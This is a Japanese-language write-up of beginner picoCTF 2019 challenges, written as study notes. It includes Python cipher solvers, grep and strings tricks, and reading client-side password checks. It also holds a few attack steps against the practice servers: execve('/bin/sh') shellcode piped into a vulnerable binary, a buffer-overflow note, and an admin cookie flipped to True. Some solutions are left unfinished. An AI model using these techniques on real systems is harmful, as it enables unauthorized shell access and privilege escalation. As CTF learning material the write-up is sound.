Info
https://picoctf.com/about
2019/9/27 to 2019/10/11 (US Time)
picoCTFはもともと中高生向けのCTFで,易しい難易度から問題が用意されています。
CTFに興味があったので入門としてチャレンジしてみました!
知人と共同で勉強用に挑戦した際のメモ書きをベースにアップしていますので,誤り等多数あるかもしれませんがご容赦ください。
(アドバイス等大歓迎です :D)
Problems
2Warm
Can you convert the number 42 (base 10) to binary (base 2)?
print(bin(42))
0b101010
Glory of the Garden
This garden contains more than it seems. You can also find the file in /problems/glory-of-the-garden_4_cf9f4aaf458caf5268f8cf0a6465eb98 on the shell server.
garden.jpgをバイナリエディタで開くと末尾に
Here is a flag "picoCTF{more_than_m33ts_the_3y36BCA684D}"
Insp3ct0r
Kishor Balan tipped us off that the following code may need inspection:https://2019shell1.picoctf.com/problem/9509/ (link) or http://2019shell1.picoctf.com:9509
与えられたwebサイトのソースコード html, css, jsにそれぞれflagのパーツが存在
The Numbers
The numbers... what do they mean?
nums = "20 8 5 14 21 13 2 5 18 19 13 1 19 15 14".split(" ")
print([chr(int(num) + 96) for num in nums])
['t', 'h', 'e', 'n', 'u', 'm', 'b', 'e', 'r', 's', 'm', 'a', 's', 'o', 'n']
最初の数字 (PICOCTF)が小文字じゃなくて大文字? + 64にしてみてもだめ
picoCTF{THENUMBERSMASON} ダメ。なんだろう??
数日置いてPICOCTF{THENUMBERSMASON}
で通った.......謎 (これ試してたような気がした)
13
Cryptography can be easy, do you know what ROT13 is? cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}
rot13を使うようヒントにもある
rot13変換用サイト
cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}を変換するだけ
Bases
What does this bDNhcm5fdGgzX3IwcDM1 mean? I think it has something to do with bases.
base64でデコードする
mm:picoctf2019$ echo bDNhcm5fdGgzX3IwcDM1 | base64 -D
Easy1
The one time pad can be cryptographically secure, but not when you know the key. Can you solve this? We've given you the encrypted flag, key, and a table to help UFJKXQZQUNB with the key of SOLVECRYPTO. Can you use this table to solve it?.
ヴィジュネル暗号の典型らしい
平文を上段,keyを左段として,表中で交差する位置にある文字を暗号文とする
今回は暗号文とkeyが与えられたので,(1)keyを目印として行を特定,(2)暗号文の文字から列を特定.......したことになる辞書を作成した
table_dict = {}
with open("table.txt", "r") as file_handle:
for i, row in enumerate(file_handle):
row = row.rstrip()
if i==0 or i==1 or not row:
continue
table_dict.update({chr(i-1+64): {}})
col = row.split("| ")[1].split(" ")
for k, one in enumerate(col):
if chr(k+1+64) not in table_dict.keys():
table_dict.update({chr(k+1+64): {}})
table_dict[chr(i-1+64)].update({one: chr(k+1+64)})
string = "UFJKXQZQUNB"
key = "SOLVECRYPTO"
for i, char in enumerate(string):
print(table_dict[key[i]][char], end="")
First Grep
Can you find the flag in file? This would be really tedious to look through manually, something tells me there is a better way. You can also find the file in /problems/first-grep_0_93be1631acf1a93b98cdcc3e7b9fdc52 on the shell server.
file という名前のファイルが配られる
mm:picoctf2019$ grep pico file | less
ですぐ見つかる
OverFlow 0
This should be easy. Overflow the correct buffer in this program and get a flag. Its also found in /problems/overflow-0_1_54d12127b2833f7eab9758b43e88d3b7 on the shell server. Source.
該当バイナリのソースコードをみると,char buf[128];
となっているので,それより大きな文字数を実行時の引数として与えるとflagを吐き出してくれる (そういうコードになっている)
Resources
We put together a bunch of resources to help you out on our website! If you go over there, you might even find a flag! https://picoctf.com/resources (link)
https://picoctf.com/resources
教育用の資料,地の文にflagが書かれている
caesar
Decrypt this message. You can find the ciphertext in /problems/caesar_3_33108a6b0f87eb4b3606437d06290815 on the shell server.
シーザー暗号の時間
string = "ynkooejcpdanqxeykjrubvtagp"
num = int(input())
for char in string:
shifted_num = ord(char.upper())+num
if shifted_num<=64:
shifted_num = 90-(64-shifted_num)
elif 90<shifted_num:
shifted_num = 64+(shifted_num-90)
print(chr(shifted_num).lower(), end="")
何文字ずらすかはわからないので,1,2,3...とやっていたら4のときそれっぽい文字列crossingtherubiconvyfzxekt
になったので試したら通った
flags
What do the flags mean?
閃かない...後ろの文字は "STUFF" とか?
画像大半を占める空白が気になる。白色のみを塗りつぶしても何も浮かび上がって来ず..?
バイナリエディタでみても何もなさそう..(暗号系の問題だもの)
Mr-Worldwide
A musician left us a message. What's it mean?
与えられたテキストファイルはpicoCTF{(35.028309, 135.753082)(46.469391, 30.740883)......
みたいな感じ
問題名 (worldwide) からして緯度経度
google map にひたすら打ち込む
最初は国名かと思ったが,アメリカが2回別の座標で出てきたので都市名?
京都 オデッサ デイトン イスタンブール アブダビ クアラルンプール アジスアベバ ロハ アムステルダム スリーピー・ホロー (ニューヨーク) コディアク アレクサンドリア
頭文字を取って,KODIAK_ALASKA
で正解
(大体が有名大規模都市な中,アメリカの都市名だけマニアックに感じる.開催国バイアス......)
Tapping
Theres tapping coming in from the wires. What's it saying nc 2019shell1.picoctf.com 37911.
言われた通りnc
するとモールス信号が送られてきた
wikipediaのページを参照して地道に解いた
PICOCTF{M0RS3C0D31SFUN2265937663}
la cifra de
I found this cipher in an old book. Can you figure out what it says? Connect with nc 2019shell1.picoctf.com 12254.
たぶん換字式暗号...解けない
rsa-pop-quiz
Class, take your seats! It's PRIME-time for a quiz... nc 2019shell1.picoctf.com 49989
nc
でサーバとやりとりすると,RSA暗号に関する知識があれば解ける問題が延々と出てくる
まだ解けてない
こういうの 眺めるといいかも
handy-shellcode
This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_1_ebc60746fee43ae25c405fc75a234ef5 on the shell server. Source.
shellcodeを探す。
環境はlinux
32bitで作られたバイナリだった。
http://shell-storm.org/shellcode/files/shellcode-237.php
/bin/shを実行するshellcode
\x68\xcd\x80\x68\x68\xeb\xfc\x68\x6a\x0b\x58\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xeb\xe1
これを食わせる形で実行する。
(echo -e "\x68\xcd\x80\x68\x68\xeb\xfc\x68\x6a\x0b\x58\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xeb\xe1"; cat) | ./vuln
cat flag.txt
を入力して実行
dont-use-client-side
Can you break into this super secure portal? https://2019shell1.picoctf.com/problem/32259/ (link) or http://2019shell1.picoctf.com:32259
パスワードの判定コードがクライアント側に書いてある。ソースコードみればほぼflagわかる。
<script type="text/javascript">
function verify() {
checkpass = document.getElementById("pass").value;
split = 4;
if (checkpass.substring(0, split) == 'pico') {
if (checkpass.substring(split*6, split*7) == 'b956') {
if (checkpass.substring(split, split*2) == 'CTF{') {
if (checkpass.substring(split*4, split*5) == 'ts_p') {
if (checkpass.substring(split*3, split*4) == 'lien') {
if (checkpass.substring(split*5, split*6) == 'lz_e') {
if (checkpass.substring(split*2, split*3) == 'no_c') {
if (checkpass.substring(split*7, split*8) == 'b}') {
alert("Password Verified")
}
}
}
}
}
}
}
}
else {
alert("Incorrect password");
}
}
</script>
復元していく順番だけ少しややこしい。
logon
The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? https://2019shell1.picoctf.com/problem/47307/ (link) or http://2019shell1.picoctf.com:47307
2018のwriteup に同じ問題があった
webページの cookie をブラウザのデベロッパーツールで確認すると admin が False になっているので,True にする
strings it
Can you find the flag in file without running it? You can also find the file in /problems/strings-it_3_8386a6aa560aecfba03c0c6a550b5c51 on the shell server.
stringsコマンドを使ってファイル中の文字列を抽出する。たくさん出てくるがその中にflagがある。
要は
$ strings ./strings | grep pico
vault-door-training
Your mission is to enter Dr. Evil's laboratory and retrieve the blueprints for his Doomsday Project. The laboratory is protected by a series of locked vault doors. Each door is controlled by a computer and requires a password to open. Unfortunately, our undercover agents have not been able to obtain the secret passwords for the vault doors, but one of our junior agents obtained the source code for each vault's computer! You will need to read the source code for each level to figure out what the password is for that vault door. As a warmup, we have created a replica vault in our training facility. The source code for the training vault is here: VaultDoorTraining.java
java のファイルをダウンロードすると 一番下に return password.equals... とあるので,そのまま答え
vault-door-1
This vault uses some complicated arrays! I hope you can make sense of it, special agent. The source code for this vault is here: VaultDoor1.java
java ファイルの意味はよく分からないが,"password.charAt"が含まれる行が password.charAt(0) == 'd' &&
のようになっているので, charAt($num) の$num の順に並び替える
vault-door-3
This vault uses for-loops and byte arrays. The source code for this vault is here: VaultDoor3.java
java のコードは
文字列Aを読み込み,0≤i<8番目の文字は文字列Bの位置iに,8≤i<16番目の文字は文字列Bの位置23-iに...と配置する.最終的に文字列BがjU5t_a_sna_3lpm13g34c_u_4_m3rf48に一致するような文字列Aが正解のパスワード
といった感じ.
文字列Bから文字列Aを復元する。
string = "jU5t_a_sna_3lpm13g34c_u_4_m3rf48"
string_dict = {}
for i, char in enumerate(string):
if 0<=i and i<8:
string_dict.update({i: char})
elif 8<=23-i and 23-i<16:
string_dict.update({23-i: char})
elif 16<=46-i and 46-i<=30 and i%2==0:
string_dict.update({46-i: char})
elif 16<=i and i<32 and i%2!=0:
string_dict.update({i: char})
print(string_dict)
for i in range(32):
print(string_dict[i], end="")
OverFlow 1
You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? You can find it in /problems/overflow-1_5_c76a107db1438c97f349f6b2d98fd6f8 on the shell server. Source.
やり方は色々あると思うがせっかくなのでpwntools - CTF toolkitを使ってみる。GallopsledというCTFチームが作っているCTF用のPythonライブラリらしい。
macOSはHomebrewで依存をインストール
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
$ pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev3
(途中)
So Meta
Find the flag in this picture. You can also find the file in /problems/so-meta_4_4e8d17dbd28e1fdfe82ba31ceb021615.
画像ファイルが配られる
meta 情報が重要っぽいが...
結局 strings
コマンドで取得可能な文字列中にflagがあった
What Lies Within
Theres something in the building. Can you retrieve the flag?
picoCTF2018でも同じような問題も出てる
solver のデコーダーに突っ込む (仕組みが分からない...)
ステガノグラフィーでやるような基本的なことは これで一通り試されていそう
extensions
This is a really weird text file TXT? Can you find the flag?
mm:picoctf2019$ file flag.txt
flag.txt: PNG image data, 1697 x 608, 8-bit/color RGB, non-interlaced
拡張子が txt だが実際は png
mac の GUI 上で拡張子を書き換えてプレビューで開くと答え
like1000
This .tar file got tarred alot. Also available at /problems/like1000_0_369bbdba2af17750ddf10cc415672f1c.
1000.tar が配られる
tar ファイルをひたすら解凍し続ける
mm:1000$ for i in $(seq 0 1000); do tar -xvf $(expr 1000 - ${i}).tar; done &
結構な容量になった
最終的に flag.png が手に入る